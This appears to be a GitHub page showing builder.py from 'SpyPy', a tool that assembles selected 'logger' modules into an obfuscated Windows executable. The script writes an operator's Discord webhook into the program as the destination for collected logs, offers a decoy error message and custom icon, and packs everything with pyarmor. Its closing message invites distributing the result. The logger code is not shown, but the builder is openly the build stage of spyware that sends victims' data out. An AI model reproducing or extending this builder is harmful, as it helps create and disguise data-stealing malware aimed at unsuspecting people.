-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbuilder.py
294 lines (264 loc) · 10.5 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
# #
# Please do not run this file directly. Instead, run spy-py.bat. #
# Running this file directy will result in an error. #
# #
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#
import os
import re
import requests
import subprocess
import shutil
ERROR_OCCURRED = False
def get_logger_files():
return [
file
for file in os.listdir("src/loggers")
if file.endswith(".py") and not file.startswith("__")
]
def select_loggers():
loggers = get_logger_files()
selected_loggers = []
for logger in loggers:
choice = (
input(f"[SPY-PY BUILDER] Include {logger[:-3]} logger? (yes/no): ")
.strip()
.lower()
)
if choice == "yes":
selected_loggers.append(logger)
return selected_loggers
def assemble_source(selected_loggers):
global ERROR_OCCURRED
imports = set()
utils_content = ""
loggers_content = ""
main_content = ""
if not os.path.exists("spy-py-temp"):
os.makedirs("spy-py-temp")
try:
with open("src/utils.py", "r", encoding="utf-8") as f:
utils_lines = f.readlines()
for line in utils_lines:
if re.match(r"^\s*import\s", line) or re.match(
r"^\s*from\s.*\simport\s", line
):
imports.add(line.strip())
else:
utils_content += line
except Exception as e:
print(
f"[SPY-PY BUILDER] [INFO] An error occurred while reading 'src/utils.py': {e}"
)
ERROR_OCCURRED = True
return
for root, _, files in os.walk("src/loggers"):
for file in files:
if file in selected_loggers:
try:
with open(os.path.join(root, file), "r", encoding="utf-8") as f:
logger_lines = f.readlines()
for line in logger_lines:
if re.match(r"^\s*import\s", line) or re.match(
r"^\s*from\s.*\simport\s", line
):
if not line.startswith("from utils"):
imports.add(line.strip())
else:
loggers_content += line
except Exception as e:
print(
f"[SPY-PY BUILDER] [INFO] An error occurred while reading '{os.path.join(root, file)}': {e}"
)
ERROR_OCCURRED = True
continue
try:
with open("src/main.py", "r", encoding="utf-8") as f:
main_lines = f.readlines()
for line in main_lines:
if re.match(r"^\s*import\s", line) or re.match(
r"^\s*from\s.*\simport\s", line
):
if not line.startswith("from loggers") and not line.startswith(
"from utils"
):
imports.add(line.strip())
else:
main_content += line
except Exception as e:
print(
f"[SPY-PY BUILDER] [INFO] An error occurred while reading 'src/main.py': {e}"
)
ERROR_OCCURRED = True
return
try:
with open("spy-py-temp/assembled.py", "w", encoding="utf-8") as f:
for imp in sorted(imports):
f.write(imp + "\n")
f.write(utils_content)
f.write("\n")
f.write(loggers_content)
f.write("\n")
f.write(main_content)
except Exception as e:
print(
f"[SPY-PY BUILDER] [INFO] An error occurred while writing to 'spy-py-temp/assembled.py': {e}"
)
ERROR_OCCURRED = True
return
print("[SPY-PY BUILDER] [INFO] Assembly completed successfully.")
def prepare_source():
global ERROR_OCCURRED
try:
webhook_url = input(
"[SPY-PY BUILDER] Enter the URL of the Discord webhook: "
).strip()
while True:
data = {
"content": "```✅ SpyPy has been configured to send logs to this webhook.```",
"username": "SpyPy",
}
response = requests.post(webhook_url, json=data)
if response.status_code not in [200, 204]:
print(
"[SPY-PY BUILDER] [ERROR] Failed to send test message to webhook. Please enter a valid URL."
)
webhook_url = input(
"[SPY-PY BUILDER] Enter the URL of the Discord webhook: "
).strip()
else:
break
exe_name = input(
"[SPY-PY BUILDER] Enter the desired name of the executable: "
).strip()
software_dir_name = input(
f"[SPY-PY BUILDER] Specify the name of the directory where the software will be stored (DEFAULT: {exe_name}): "
).strip()
choice = (
input(
"[SPY-PY BUILDER] Would you like to display a custom error message? (yes/no): "
)
.strip()
.lower()
)
custom_error_message = ""
if choice == "yes":
custom_error_message = input(
"[SPY-PY BUILDER] Enter the custom error message: "
).strip()
choice = (
input(
"[SPY-PY BUILDER] Would you like to include an icon for the executable? (yes/no): "
)
.strip()
.lower()
)
if choice == "yes":
if not os.path.exists("icon"):
os.makedirs("icon")
icon_name = input(
"[SPY-PY BUILDER] Place the icon file in the 'icon' directory and enter the name of the icon file (including extension):"
).strip()
icon_command = f"--i icon/{icon_name}"
else:
icon_command = ""
with open("spy-py-temp/assembled.py", "r", encoding="utf-8") as f:
content = f.readlines()
modified_content = []
for line in content:
if line.startswith("WEBHOOK_URL = "):
modified_content.append(f'WEBHOOK_URL = "{webhook_url}"\n')
elif line.startswith("SOFTWARE_EXE_NAME = "):
modified_content.append(f'SOFTWARE_EXE_NAME = "{exe_name}"\n')
elif line.startswith("SOFTWARE_DIR_NAME = "):
if software_dir_name:
modified_content.append(
f'SOFTWARE_DIR_NAME = "{software_dir_name}"\n'
)
else:
modified_content.append(f'SOFTWARE_DIR_NAME = "{exe_name}"\n')
elif line.startswith("CUSTOM_ERROR_MESSAGE = "):
if custom_error_message:
modified_content.append(
f'CUSTOM_ERROR_MESSAGE = "{custom_error_message}"\n'
)
else:
modified_content.append("CUSTOM_ERROR_MESSAGE = None\n")
else:
modified_content.append(line)
with open("spy-py-temp/prepared.py", "w", encoding="utf-8") as f:
f.writelines(modified_content)
os.remove("spy-py-temp/assembled.py")
print("[SPY-PY BUILDER] [INFO] Source preparation completed successfully.")
return [exe_name, icon_command]
except Exception as e:
print(
f"[SPY-PY BUILDER] [ERROR] An error occurred while preparing the source: {e}"
)
print("[SPY-PY BUILDER] [ERROR] Please try again or check the build process.")
ERROR_OCCURRED = True
return
def pack_source(exe_name, icon_command):
global ERROR_OCCURRED
try:
os.rename("spy-py-temp/prepared.py", f"spy-py-temp/{exe_name}.py")
print("[SPY-PY BUILDER] [INFO] Packaging executable...")
venv_activate_command = "Spy-Py\\Scripts\\activate"
commands = [
f'{venv_activate_command} && pyarmor cfg pack:pyi_options=" -w {icon_command}"',
f"{venv_activate_command} && pyarmor gen --pack onefile spy-py-temp/{exe_name}.py",
]
for command in commands:
subprocess.run(command, shell=True, check=True)
except Exception as e:
print(
f"[SPY-PY BUILDER] [ERROR] An error occurred while packaging the executable: {e}"
)
print("[SPY-PY BUILDER] [ERROR] Please try again or check the build process.")
ERROR_OCCURRED = True
return
print("[SPY-PY BUILDER] [INFO] Packaging executable completed successfully.")
def cleanup(exe_name):
global ERROR_OCCURRED
try:
shutil.rmtree("spy-py-temp", ignore_errors=True)
shutil.rmtree("icon", ignore_errors=True)
if os.path.exists(".pyarmor"):
shutil.rmtree(".pyarmor", ignore_errors=True)
if os.path.exists("Spy-Py"):
shutil.rmtree("Spy-Py", ignore_errors=True)
if os.path.exists(f"{exe_name}.spec"):
os.remove(f"{exe_name}.spec")
except Exception as e:
print(f"[SPY-PY BUILDER] [ERROR] An error occurred while cleaning up: {e}")
print(
"[SPY-PY BUILDER] [ERROR] Please manually remove the 'spy-py-temp' directory."
)
ERROR_OCCURRED = True
print("[SPY-PY BUILDER] [INFO] Cleanup completed successfully.")
def finish():
if not ERROR_OCCURRED:
print(
"[SPY-PY BUILDER] [INFO] The build process has been completed successfully. The executable is located in the 'dist' directory."
)
print(
"[SPY-PY BUILDER] [INFO] You can now run the executable or distribute it to others."
)
else:
print(
"[SPY-PY BUILDER] [ERROR] The build process has encountered errors. Please review the error messages above and try again."
)
print(
"[SPY-PY BUILDER] [ERROR] If the issue persists, please open an issue on GitHub."
)
if __name__ == "__main__":
print("[SPY-PY BUILDER] [INFO] Starting build process...")
selected_loggers = select_loggers()
assemble_source(selected_loggers)
if not ERROR_OCCURRED:
exe_name, icon_command = prepare_source()
if not ERROR_OCCURRED:
pack_source(exe_name, icon_command)
if not ERROR_OCCURRED:
cleanup(exe_name)
finish()